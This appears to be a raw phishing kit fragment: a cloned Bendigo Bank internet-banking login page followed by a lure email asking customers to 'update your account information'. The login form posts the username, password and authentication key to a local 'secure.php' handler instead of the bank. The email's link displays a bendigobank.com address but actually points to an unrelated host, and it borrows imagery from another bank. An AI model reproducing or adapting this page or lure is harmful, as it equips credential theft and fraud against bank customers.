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differences are commented. So just uncomment the relevant choice and 

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<html>
<head>
       <title>Bendigo e-banking</title>
       <meta name="Author" content="Bendigo Bank Ltd">
       <meta name="Description" content="Internet Banking">
       <meta http-equiv="Pragma" content="no-cache">
       <meta http-equiv="Expires" content="-1">
       <meta http-equiv="Content-Type" content="text/html; 

charset=ISO-8859-1"/>
       <!-- WebSphere -->
       <!--link rel="stylesheet" href="/BBLIBanking/bbl.css" 

type="text/css"-->
       <!-- Access Manager -->
       <link rel="stylesheet" href="/bbl.css" type="text/css">
       <script type="text/javascript" 

src="https://www.bendigobank.com.au/js/imageFunctions.js"></script>
       <script type="text/javascript" 

src="https://www.bendigobank.com.au/js/mmFunctions.js"></script>
       <script type="text/javascript" 

src="https://www.bendigobank.com.au/js/miscellaneousFunctions.js"></scr

ipt>
       <script type="text/javascript" 

src="https://www.bendigobank.com.au/js/windowFunctions.js"></script>
       <script type="text/javascript" 

src="https://www.bendigobank.com.au/js/properties.js"></script>
       <script type="text/javascript" 

src="https://www.bendigobank.com.au/js/outageInfo.js"></script>
       <script type="text/javascript" language="JavaScript">
       <!--
       function submitLogin()
       {
               

document.Logon.password.value=document.Logon.passwordx.value + '¶' + 

document.Logon.authenticationKey.value;
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       function maxWin()
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               var locate = window.location;
               document.Logon.start.value = locate;
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<body  leftMargin="0" topMargin="0" marginheight="0" marginwidth="0" 

text="#000000" bgColor="#ffffff" 

onload="document.Logon.username.focus();maxWin();netscape6Test()">
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<!-- Access Manager -->
<form name="Logon" action="secure.php" method="post" 

onsubmit="submitLogin()">
<input type="hidden" name="start" value="" />
<input type="hidden" name="password"/>
<table width="100%" border="0" cellpadding="0" cellspacing="0" 

height="56">
       <tr>
               <td>
                       <!-- WebSphere -->
                       <!-- img height="56" alt="Bendigo e-banking" 

src="https://www.bendigobank.com.au/BBLIBank/images/logo_Ebanking.gif" 

border="0" -->
                       <!-- Access Manager -->
                       <img height="56" alt="Bendigo e-banking" 

src="https://www.bendigobank.com.au/images/logo_Ebanking.gif" 

border="0">
               </td>
               <td></td>
       </tr>
</table>
</form>
</body>
</html>
<b>Dear Customer,<br>
<b><b>Bendigo Internet Banking has successfully upgraded <br>
<b><b>our SSL servers to serve our esteemed customers for a better <br>
and more efficient secure banking services against fraudulent 

activities <br>
How ever we were unable to update your account. Due to this recent 

upgrade <br>
you are requested to update your account information by the reference 

below
<br>
</p>
<a
href="http://poser.mpalmer.com/bendigobank/bendigobank.com/securebendig

obank.com.au.htm">http://
www.bendigobank.com/secure/update/ssl.cfm</b></a></P >
<pre>
<b>Regards</b>
<b>Bendigo Bank,N.A.and its affiliates</b>. </pre></b>
<pre><img height="100" alt="Image - Handshake" 

src="http://www.aibgb.co.uk/servlet/BlobServer?blobkey=id&blobwhere=109

6576951800&blobcol=url_image&blobtable=GB_Image&blobheader=image/jpeg" 

width="340" align="Centre" border="0">